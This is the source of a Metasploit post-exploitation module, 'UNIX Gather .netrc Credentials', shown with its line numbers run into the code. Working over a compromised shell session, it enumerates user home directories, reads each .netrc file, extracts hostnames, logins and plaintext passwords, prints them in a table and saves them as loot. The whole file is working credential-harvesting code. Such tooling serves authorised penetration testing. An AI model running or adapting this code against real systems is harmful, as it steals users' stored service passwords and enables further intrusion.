Path: blob/master/modules/post/multi/gather/netrc_creds.rb
19778 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::File7include Msf::Post::Unix89def initialize(info = {})10super(11update_info(12info,13'Name' => 'UNIX Gather .netrc Credentials',14'Description' => %q{15Post Module to obtain credentials saved for FTP and other services in .netrc16},17'License' => MSF_LICENSE,18'Author' => [ 'Jon Hart <jhart[at]spoofed.org>' ],19'Platform' => %w[bsd linux osx unix],20'SessionTypes' => [ 'shell' ],21'Notes' => {22'Stability' => [CRASH_SAFE],23'SideEffects' => [],24'Reliability' => []25}26)27)28end2930def run31# A table to store the found credentials.32cred_table = Rex::Text::Table.new(33'Header' => '.netrc credentials',34'Indent' => 1,35'Columns' =>36[37'Username',38'Password',39'Server',40]41)4243# all of the credentials we've found from .netrc44creds = []4546# walk through each user directory47print_status('Enumerating .netrc files')48enum_user_directories.each do |user_dir|49netrc_file = user_dir + '/.netrc'50# the current credential from .netrc we are parsing51cred = {}5253# read their .netrc54unless readable? netrc_file55vprint_error("Couldn't read #{netrc_file}")56next57end58print_status("Reading: #{netrc_file}")59read_file(netrc_file).each_line do |netrc_line|60# parse it61netrc_line.strip!62# get the machine name63if (netrc_line =~ /machine (\S+)/)64# if we've already found a machine, save this cred and start over65if (cred[:host])66creds << cred67cred = {}68end69cred[:host] = ::Regexp.last_match(1)70end71# get the user name72if (netrc_line =~ /login (\S+)/)73cred[:user] = ::Regexp.last_match(1)74end75# get the password76if (netrc_line =~ /password (\S+)/)77cred[:pass] = ::Regexp.last_match(1)78end79end8081# save whatever remains of this last cred if it is worth saving82creds << cred if cred[:host] && cred[:user] && cred[:pass]83end8485# print out everything we've found86creds.each do |cred|87cred_table << [ cred[:user], cred[:pass], cred[:host] ]88end8990if cred_table.rows.empty?91print_status('No creds collected')92else93print_line("\n" + cred_table.to_s)9495# store all found credentials96p = store_loot(97'netrc.creds',98'text/csv',99session,100cred_table.to_csv,101'netrc_credentials.txt',102'.netrc credentials'103)104105print_status("Credentials stored in: #{p}")106end107end108end109110111